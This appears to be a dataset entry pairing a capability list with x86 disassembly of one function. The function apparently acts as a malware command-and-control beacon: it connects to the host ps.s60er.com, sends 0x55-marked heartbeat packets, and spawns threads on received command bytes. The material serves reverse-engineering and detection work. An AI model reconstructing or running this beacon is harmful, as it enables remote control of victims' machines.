Function at 0x100351c0
Capabilities:
Check for time delay via gettickcount
Create thread
Get socket status
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d0
mov eax, dword [0x10138e70]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push esi
mov esi, dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1013de80], eax
lea eax, [ebp - 0x2a4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x100355b7
mov eax, dword [ebp + 8]
mov ecx, esi
mov word [0x100bd384], ax
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10035210
sub ecx, edx
push ecx
push esi
push str.ps.s60er.com
call fcn.1006f8e0
add esp, 0xc
mov edi, 0x28
lea ecx, [ecx]
push 0
call fcn.1006f3c9
push eax
call fcn.1006da61
movzx eax, word [0x100bd384]
push eax
lea eax, [ebp - 0x2b4]
mov dword [ebp - 0x2c0], 1
push str.ps.s60er.com
push eax
call fcn.10034a50
add esp, 0x14
test eax, eax
je 0x100355a7
push 0x1000
call fcn.1006daa9
push 0x1000
mov ebx, eax
call fcn.1006daa9
push 0x1000
mov esi, eax
push 0
push ebx
mov dword [ebp - 0x2bc], esi
call fcn.1006ff30
push 0x1000
push 0
push esi
call fcn.1006ff30
xor eax, eax
add esp, 0x20
mov dword [ebp - 0x2b0], eax
mov word [ebp - 0x2ac], ax
mov byte [ebp - 0x2b0], 0x55
call fcn.1006da40
cdq
idiv edi
mov byte [ebp - 0x2af], dl
call fcn.1006da40
cdq
idiv edi
mov byte [ebp - 0x2ae], dl
call fcn.1006da40
cdq
idiv edi
mov esi, dword [ebp - 0x2b4]
mov byte [ebp - 0x2ad], dl
add dl, byte [ebp - 0x2ae]
add dl, byte [ebp - 0x2af]
xor edi, edi
mov byte [ebp - 0x2ac], dl
mov eax, 0x66666667
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*4]
mov eax, edi
add ecx, ecx
sub eax, ecx
jne 0x1003535b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1013de80]
cmp eax, 0x5265c00
ja 0x10035589
push 0
push 6
lea eax, [ebp - 0x2b0]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1003535b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2714
jne 0x1003557f
push 0x1000
push 0
push ebx
call fcn.1006ff30
add esp, 0xc
mov dword [ebp - 0x110], esi
lea eax, [ebp - 0x2cc]
mov dword [ebp - 0x114], 1
mov dword [ebp - 0x2cc], 1
mov dword [ebp - 0x2c8], 0
push eax
push 0
push 0
lea eax, [ebp - 0x114]
push eax
lea eax, [esi + 1]
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x100353c2
lea eax, [ebp - 0x114]
push eax
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x100353c7
jmp 0x1003541e
cmp eax, 1
jne 0x1003541e
push 0
push 0x1000
push ebx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x1003540d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2714
je 0x10035411
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2714
je 0x10035411
cmp eax, 0x2733
je 0x10035411
cmp eax, 0x274c
je 0x10035411
mov edi, 3
jmp 0x100354b3
test eax, eax
jg 0x1003541e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x274c
jne 0x10035403
movq xmm0, qword [ebx]
mov eax, dword [ebx + 8]
movq qword [ebp - 0x10], xmm0
cmp byte [ebp - 0x10], 0x55
mov dword [ebp - 8], eax
jne 0x10035479
mov eax, dword [ebp - 0x10]
shr eax, 8
cmp al, 0xe8
je 0x10035593
cmp al, 0xe9
jne 0x10035479
lea eax, [ebp - 0x2d0]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0x10034d00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x10035472
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10035479
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x10624dd3
mov ecx, 1
imul edi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
add edi, ecx
cmp edi, 0xffffffff
jg 0x10035300
mov edi, dword [ebp - 0x2c0]
cmp esi, 0xffffffff
je 0x10035534
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
lea eax, [ebp - 0x2c4]
mov dword [ebp - 0x2c4], 0
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
push 1
lea eax, [ebp - 0x2a5]
mov byte [ebp - 0x2a5], 0
push eax
push 0xffffff7f
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 0x2b8]
mov dword [ebp - 0x2b8], 1
push eax
push 0x80
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0x2b4], 0xffffffff
mov eax, dword [ebp - 0x2bc]
test eax, eax
je 0x10035547
push eax
call fcn.1006da71
add esp, 4
test ebx, ebx
je 0x10035554
push ebx
call fcn.1006da71
add esp, 4
cmp edi, 0x3e8
jle 0x100355a2
lea eax, [edi - 0x3e8]
mov ecx, 0x14
cmp eax, 0x14
cmovg eax, ecx
imul eax, eax, 0xea60
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10035228
mov edi, 2
jmp 0x100354b3
mov edi, 0x3ea
jmp 0x100354b3
movzx edi, byte [ebp - 0xe]
add edi, 0x3e8
jmp 0x100354b3
mov edi, 0x28
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10035230
mov ecx, dword [ebp - 4]
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.1006f41a
mov esp, ebp
pop ebp
ret